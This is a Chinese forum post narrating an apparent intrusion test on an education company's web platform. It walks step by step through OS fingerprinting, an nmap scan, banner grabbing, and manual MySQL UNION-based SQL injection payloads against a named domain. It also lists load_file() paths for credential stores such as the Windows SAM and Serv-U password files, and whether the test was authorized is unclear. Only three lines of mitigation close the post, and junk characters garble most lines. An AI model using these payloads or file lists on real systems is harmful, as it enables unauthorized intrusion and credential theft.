找回密码
 立即注册
查看: 2761|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:/ G  j/ ~* M% ^% \; l8 S# A
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……! D; B# I' j' ?1 [: t  W
第一步:获取需要的信息: _: h0 I8 Q% _" B/ u
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。, r. ~) T& K6 ?' a% `; ^* ^1 n
注:以下为保护特用XXX代替敏感信息
4 C# L, |9 C+ E3 X- B顺手先PING了一下他们的域名:
+ J  w: |/ x: B3 }- i7 h; [ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)6 b1 L/ k9 h) Z  Z; W2 P
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
8 o) Z- ^3 I; q+ ?5 v顺便了解一下TTL,学好基础知识才能一路顺风:. M* l  d% @3 c# u; j* i, A0 K
TTL:(Time To Live ) 生存时间% y: v' @5 \( ^
指定数据包被路由器丢弃之前允许通过的网段数量。- l' b* L0 S- L
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。  m7 C* s- [7 N9 r9 p6 c
使用PING时涉及到的 ICMP 报文类型
& U" U: V$ q; d! U& K0 i一个为ICMP请求回显(ICMP Echo Request)* R0 Q/ H0 H" F' y  G
一个为ICMP回显应答(ICMP Echo Reply)
# y, l6 R8 a, f. z8 ZTTL 字段值可以帮助我们识别操作系统类型。  \4 V5 [; e7 r3 O; K
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
, A# N9 w2 Q6 V8 g5 N, C4 qCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
; I) e) r9 ]7 g. U4 I微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1284 U, I: p& S+ i  ?$ t" Q. ?
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32& N8 w1 X. G  L( x
当然,返回的TTL值是相同的8 u+ p9 g& `* F8 `( \
但有些情况下有所特殊
$ O/ y9 }+ c2 s& q- @& ALINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64& Q: }# v5 L, O3 g
FreeBSD 4.1, 4.0, 3.4;3 E% m* P4 O& J# _
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;$ V3 k* s8 [, b& @! Z
OpenBSD 2.6, 2.7,7 B& g+ F6 B: ]# G
NetBSD& n4 n7 F# \$ j) [; |. e" I& U
HP UX 10.20! D& N) j  S: S% {8 E4 a
ICMP 回显应答的 TTL 字段值为 255
2 |; b1 G/ Q( ]* t# KWindows 95/98/98SE
0 o6 w& c! K% D9 C1 LWindows ME
. ~& _0 j; v' u( zICMP 回显应答的 TTL 字段值为 32
6 i) V% l, ]9 [+ C5 Z) K/ E/ iWindows NT4 WRKS
( e$ A; x, {# v3 |. w  UWindows NT4 Server" f' t8 ^5 r% x' z! a* w
Windows 2000
7 e. s* }# O7 q, U9 c7 vWindows XP
$ Q# ^$ o3 {; Y( hICMP 回显应答的 TTL 字段值为 128
( w9 Y" N! g+ T0 I这样,我们就可以通过这种方法来辨别操作系统, {  p8 q1 `- q# ~
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2554 e9 {; Z8 E0 g- m
用NMAP扫描一下:& x  v% k! Q% c( }
nmap -sT -O XXX.XXX.XXX.XXX2 k  |" d: o7 A0 T: U: M* \
如果没有装WinPcap则会弹出提示:( h% i$ z: z7 z3 ^
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr. d/ s7 N/ B, I6 g! j
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
6 I" N2 w6 @# b3 z* F0 w) mode — Nmap may not function completely: a  w" j2 G. q+ l
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher) ^9 O- d. k; R
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
/ `) W! W$ A* upcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
( U/ |* v. Z5 f7 b6 nd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
( z3 |  {! f; X  T3 E" v$ zersions, you may be able to take iphlpapi.dll from another system and place it i
6 ^; B0 ]2 S" \n your system32 dir (e.g. c:\windows\system32).9 ^7 H; g- A; o6 m& r% t' k6 Y
QUITTING!
2 y) ~" l( b' q  J5 G到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
, m: b0 X( n% i( F8 f: H安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
0 m0 i/ ^/ l, ~, P, ~' }Interesting ports on XXX.XXX.XXX.XXX:( e6 |8 F, t% A  N+ L: `
Not shown: 986 closed ports
( f. ^- n; N- P3 W: V+ APORT     STATE    SERVICE
: @* D; O$ Q: a4 `! f4 Q5 T+ S21/tcp   open     ftp! F# d: R1 E+ u6 p$ z. I2 k) Y
22/tcp   open     ssh1 T* L3 k# K$ x$ {
23/tcp   open     telnet
( j3 y/ E* A+ W  W80/tcp   open     http. V. T$ e: i- c! F) @& z
111/tcp  open     rpcbind
! ~4 h7 p8 X: y* @( h135/tcp  filtered msrpc' e3 G7 W. V: Y- C+ V/ X
139/tcp  filtered netbios-ssn) ?  U; X- j$ a* {
445/tcp  filtered microsoft-ds) t/ m, c1 ^7 Q7 k) ^
513/tcp  open     login
. R; \! h% E% U# D% Y' u  K$ n514/tcp  open     shell
+ g2 d7 }& W- M/ u, u) k9 |  |& S593/tcp  filtered http-rpc-epmap
1 P: |% }, ?% V! L1720/tcp filtered H.323/Q.9319 S: k; J# a$ `5 v/ F4 U; o
3306/tcp open     mysql
- E, v3 A5 [( r" |4444/tcp filtered krb524, n9 {" ^. X! L7 Q# e0 l4 H0 k
Device type: WAP
5 z' i2 n5 U3 K+ h" ^4 oRunning: Linux 2.4.X5 X. C2 f+ i: l. k
OS details: DD-WRT (Linux 2.4.35s)- L" V% G1 }4 d0 o% P% v. L. ^
Network Distance: 13 hops5 w8 m5 ^/ S# m: y* X1 h% ?
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
0 E' H- M  k2 M( V1 b2 ulogin as:) E- u- P  b) m
Telnet23端口也是开着的,用telnet 命令链接一下:
1 v# |1 g4 @, ~3 U+ e. ]telnet XXX.XXX.XXX.XXX( z$ O# H+ @8 ^0 c! J8 M3 ~1 a
提示:
" y2 A9 [& b* ~- F" w, [$ I, T) nRed Hat Enterprise Linux Server release 5.2 (Tikanga)
9 H3 w, ~; A" u$ r1 ?4 S& HKernel 2.6.18-92.el5PAE on an i686
) X! ]; p; s6 \- k+ _! y2 f6 Qlogin:4 H8 T1 o5 t6 k3 l2 h2 l  c; c
获取HTTP头信息:* q  C9 I$ G. Q1 B
在本地执行如下PHP代码& r. W2 U: v# @/ r$ k$ f
<?php8 Z$ _; Q8 e) a8 P
$url = ‘XXX.XXX.XXX.XXX’;& Z. M$ k0 q# i- O* v( H' ]
print_r(get_headers($url));; z  t# J6 u1 O' K  m
print_r(get_headers($url, 1));. s: l! }( ]/ e1 f, G- i
?>0 [! w# L2 A7 t
将以上代码保存为PHP文件,执行:
9 i" p5 d( s; X. a4 a( lArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ). D* i# O! v8 w+ A! ~& k* ?
现在可以得出结论:
4 E; g$ ^1 |  Q, `) _/ N系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)+ q) w: j+ Y& A6 q# p
内核版本:Kernel 2.6.18-92.el5PAE on an i686
0 }  M/ h2 g8 q; `" p: e1 }WEB服务器版本:nginx/0.7.613 u% I  F5 D& W, f4 g: z2 M
第二步,开始测试寻找漏洞# P. n2 u4 Z1 A7 X; t3 B: o* {
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。: e' k# ?7 E7 D7 X- a5 G- t( o$ @
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
  b( b) G9 w& A, _- M9 V# k2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
1 i' S0 a# K: `4 lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常' ^5 O" l9 S/ o
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误! h+ m/ H9 q& P3 x
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续5 H! a, B; w# h% \) `4 ]9 V7 }
3、手工注入:0 L) k8 M; O$ @$ D* F3 g
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。  a* \' N# F7 c5 a/ \
3.1 猜测当前表字段数
- V* H, `0 o( t- b$ r7 |+ m1 Uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10, n3 R% {) y0 G& n* o( g
此处猜测有个简单的算法,都是有技巧的吗,呵呵
% J2 z$ z& f) R% G* ~5 O  P算法简单如下:
1 P/ Q6 B% J$ p0 w$ l. [  o第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
& `& b: H3 b6 v' @$ H第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
4 @7 l. ~7 R, r0 ^$ S0 j需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
2 D! S( n5 M7 y7 Z6 o0 \8 G以此来判断,是否过界,配合取中算法猜出字段数。
) V& M. K9 q7 R4 X% Y7 v; V+ K. H举例:! a! O/ I4 G: }8 K
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
- f" c2 k! }* `* K/ |; {( B" y: h. Jhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误* {) t, r: z% ?( r3 h6 I( g, A6 m
此时3则为我们要找的字段数。7 o$ n: g) x. K
3.2 配合union联合查询字段在页面所位置% i( @9 `- H  v! ~
我们已经知道了字段数为3,此时则可以做如下操作:
* z. ~0 T9 ^& l$ o4 fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
% {- Y9 u  c3 T3 J# T" _9 B* S& N( w3 h8 y
这样就可以测试到哪些字段在页面上有所显示了,如图:
5 O0 |4 I7 p# v( k- Q7 f
8 v9 v# s5 \2 }' l' A; D3.3 查敏感信息
1 }0 u! H" y7 Z* r. g4 t1 y这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。( n, v9 A* k/ g8 M( F% i9 U# J' ?: l
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
+ b$ V" U' }4 Q, T6 G3.3.1 先查数据库用户、数据库名,以备后用,如图:( X! L) t2 z# w$ m2 L/ O

6 M% A8 J! p' s/ G! O得到数据库用户为root、数据库名为DBxx;1 S5 C- }% V" F; z
3.3.2 查配置文件* q7 I  ?( O+ b
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
3 @4 m9 O5 y1 ^; ~& p6 ]4 Q查看文件有一定的条件限制:
7 ]6 I3 g1 V/ a& U. F% L1 _欲读取文件必须在服务器上& B" W3 I& z) V  z! u9 L/ p! o3 M
必须指定文件完整的路径
  I) }+ {8 J0 s' y必须有权限读取并且文件必须完全可读) {6 d7 S2 n* o$ _
欲读取文件必须小于 max_allowed_packet
6 ]+ Y7 @/ c; ?3 J- k+ L3 Q; jMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。. L8 Q4 h* a3 `5 B& M& d
常用的一些:" b& X( c/ e6 b' u. p$ b
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
: d1 S8 K7 i: k2 P/usr/local/apache2/conf/httpd.conf0 F9 Y2 L/ [! [  S# A, `
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置, Z% r+ A6 o" o- g" _
/usr/local/app/php5/lib/php.ini //PHP相关设置
$ i6 ~1 m* e$ Q0 W& [' m! B/etc/sysconfig/iptables //从中得到防火墙规则策略
% T; m' C& |: l2 x7 i/etc/httpd/conf/httpd.conf // apache配置文件
2 e4 E4 A  u/ t0 G& c/etc/rsyncd.conf //同步程序配置文件1 N, w3 B& p4 C+ ?
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.& C/ @$ `3 M7 J5 {* O1 {" Z4 I
/etc/my.cnf //mysql的配置文件" G5 h6 N! x; M* M- h. R/ v
/etc/redhat-release //系统版本
* d  O, S0 }) ?6 a& V" q/etc/issue
4 t0 N0 O! b% }& J5 u( e; F/etc/issue.net
+ W+ W$ g4 t9 k" R; @c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
+ J2 K; P1 N7 X$ L0 mc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码, M, x; h# ]! v# u4 u) @
c:\Program Files\Serv-U\ServUDaemon.ini
, |0 A! `7 R# r8 l/ K3 a6 E4 Zc:\windows\my.ini //MYSQL配置文件. O, N  Y* s8 v' O% M  f1 P
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
. g$ M; N: ]) F% L( }( r, X- {等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
, ]9 n! j8 d0 R0 C& o7 E/ xc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码/ g* {* |: E: \3 r' n# ]9 `2 k
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
' W+ L( w9 F5 p0 ]c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* D/ B1 c0 a5 `5 n2 S- C& YC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
4 G7 V* I8 Z( L' Z//存储了pcAnywhere的登陆密码0 y* u1 w8 A  M6 w; R6 x
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。3 u0 g% ]: q/ N& Y& ?
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
! ^( h7 N; N3 x# `" z$ h最后:防范措施
( i" I2 y* B' m1、修复PHP注入漏洞;
6 D7 d; E* ]8 \% E2、Mysql使用普通权限的用户;: [( V" n2 H$ `6 ?+ [0 f# S6 Q
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表